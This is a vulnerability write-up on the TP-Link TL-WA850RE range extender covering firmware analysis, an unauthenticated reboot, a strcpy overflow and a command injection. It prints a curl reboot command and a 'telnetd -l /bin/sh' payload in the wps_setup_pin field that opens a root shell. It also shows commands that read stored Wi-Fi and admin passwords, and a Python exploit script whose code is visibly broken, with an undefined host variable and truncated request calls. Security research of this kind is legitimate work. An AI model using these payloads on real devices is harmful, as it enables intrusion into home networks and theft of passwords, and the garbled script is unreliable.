The (in)security of the TP-Link Technologies TL-WA850RE Wi-Fi Range Extender*

How your home wifi range extender can get you pwned. * We tried to contact TP-LINK via for about one month without any success or response.


In this post, multiple vulnerabilities and a Proof of Concept (PoC) 0day exploit allowing authenticated remote command execution on the TP-Link’s Technologies TL-WA850RE Wi-Fi Range Extender is presented.


TP-Link’s TL-WA850RE Wi-Fi Range Extender is a popular home network device that sits on your network. The device can work either by acting as a range extender or access point. When acting as a range extender the device requires to be set up by selecting the wireless network to be extended, providing the password for this network, setting up a password for the device’s network as well as set up a device’s admin password. The whole communication between the device and the browser travels unsecured in HTTP. Not even a self-signed certificate is used for the communication.

Insecure HTTP communications

The Device

The device permits firmware updates. The firmware can be easily extracted with binwalk to find an embedded Linux busybox distribution.

binwalk -e 850rev5-up-ver1-0-0-P1\[20180228-rel38383\].bin
squashfs root

A quick analysis reveals a hashed password readily cracked on the internet as “sohoadmin”. Remote SSH, however, is disabled.

Digging further on the bootup process we find an HTTP daemon (httpd) is started by /etc/rc.d/rcS.

Other processes are started in rc.init

With this quick analysis we find that our target binary is httpd.

Disassembling httpd

httpd is a MIPS 32 binary that can be disassembled with IDA to understand its inner workings.

An HTTP daemon is a complex process so we need a strategy to quickly get an overview of how it works. By noticing the web app works by posting and reading data to .json endpoints we were able to locate a function that initializes the device’s endpoints.

Init register

The function httpRpmConfAddAndRegisterFile is called to associate every endpoint (see below /fs/data/reboot.json ) with a function (below sub_424470)

Let’s continue to analyze public vulnerabilities on the binary and try to find a 0day.

Denial of Service —Unauthenticated Remote Reboot

The device can be rebooted without any restriction or authentication as reported by Wadeek

Proof of concept:

curl --silent 'http://[IP]/data/reboot.json' -H 'Host: [IP]' -H 'Accept: application/json, text/javascript, */*;' --compressed -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Cookie: COOKIE=' -H 'Connection: keep-alive' --data 'operation=write'

From the previous section we know that sub_424470 is executed on the endpoint data/reboot.json . By checking the function we verify no authentication or verification is performed as was reported.

The functionality that requires authentication works by calling the function wmAuthIsClientAuthencated as follows

Low Hanging Fruits

A well known insecure coding anti-pattern leading to buffer overflows is feeding user-controlled input into strcpy without any length checking. Other reports show this anti-pattern from TP-LINK’s developers.

After some minutes, the first vulnerability of this kind popped up.

In the endpoint /data/syslog.filter.json the “type” parameter is read from the environment httpGetEnv and fed into strcpy without length checking.

If we overflow the type parameter while being authenticated the device will stop working.

POST /data/syslog.filter.json HTTP/1.1 Host: User-Agent: Mozilla Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 2742 Cookie: COOKIE=1501a8c000017506 Connection: close

Before examining how to further exploit this vulnerability to obtain RCE we find another vulnerability of the same kind in the endpoint /data/wps.setup.json.

However this time we are lucky enough to find that user controlled input is fed into a command executed at the device.

We have a 0day authenticated command injection vulnerability. This vulnerability is not hard to exploit taking into account all the communication with the device travels in clear text and thus can be obtained, perhaps rebooting the device until the user logs to verify the configuration.

A quick search on the internet shows that busybox can be injected with telnetd -l/bin/sh to obtain full control of the device .

Getting all the Passwords

After obtaining a root shell in the device we can further obtain all the passwords in clear text.

  • cat /config/account.config will show the device´s admin password MD5 (must be known — needed for the attack)
  • cat /config/wifi.config will show in clear text the device’s network password as well as the extended network password, Whitelists, blacklists, MACs, etc)

Proof of Concept

#!/usr/bin/env python
# Exploit Title: TP-Link Technologies TL-WA850RE Wi-Fi Range Extender - Command Execution
# Date: 19/06/2018
# Exploit Author: yoresongo - Advisability S.A.S Colombia (
# Vendor Homepage:
# Firmware Link:
# Tested on: Firmware Version TL-WA850RE_V5_180228
# Contact: yoresongo [at]
import argparse
import requests
import hashlib
import telnetlib
parser = argparse.ArgumentParser(
description="Exploits TP-LINK WA850RE Command injection"
parser.add_argument("host", help="Host to attack.", type=str)
parser.add_argument("password", help="Extender's Password", type=str)
"-C", "--cookie", help="Cookie id value.", type=str, default="1301a8c000c4c505"
args = parser.parse_args()
PASSWORD = args.password
COOKIE = args.cookie
cookies = {"gsScrollPos-8016": "0", "COOKIE": COOKIE}
headers = {
"Origin": "http://%s/" % HOST,
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9,es;q=0.8",
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Referer": "http://%s/" % HOST,
"X-Requested-With": "XMLHttpRequest",
"Connection": "keep-alive",
"DNT": "1",
password = hashlib.md5(PASSWORD.encode("utf-8")).hexdigest().upper()
encoded = "%s:%s" % (password, COOKIE)
encoded = hashlib.md5(encoded.encode("utf-8")).hexdigest().upper()
data = [("operation", "login"), ("encoded", encoded), ("nonce", COOKIE)]
# Payload
data_inject = [
("operation", "write"),
("option", "connect"),
("wps_setup_pin", "11480723;telnetd -l /bin/sh"),
with requests.Session() as s:
response =
"http://%s/data/login.json" % HOST, headers=headers, cookies=cookies, data=data
# An authorised request.
r = s.get("http://%s" % HOST, headers=headers, cookies=cookies)
# print (r.text)
r =
"http://%s/data/wps.setup.json" % HOST,
tn = telnetlib.Telnet(HOST)

Exploit links: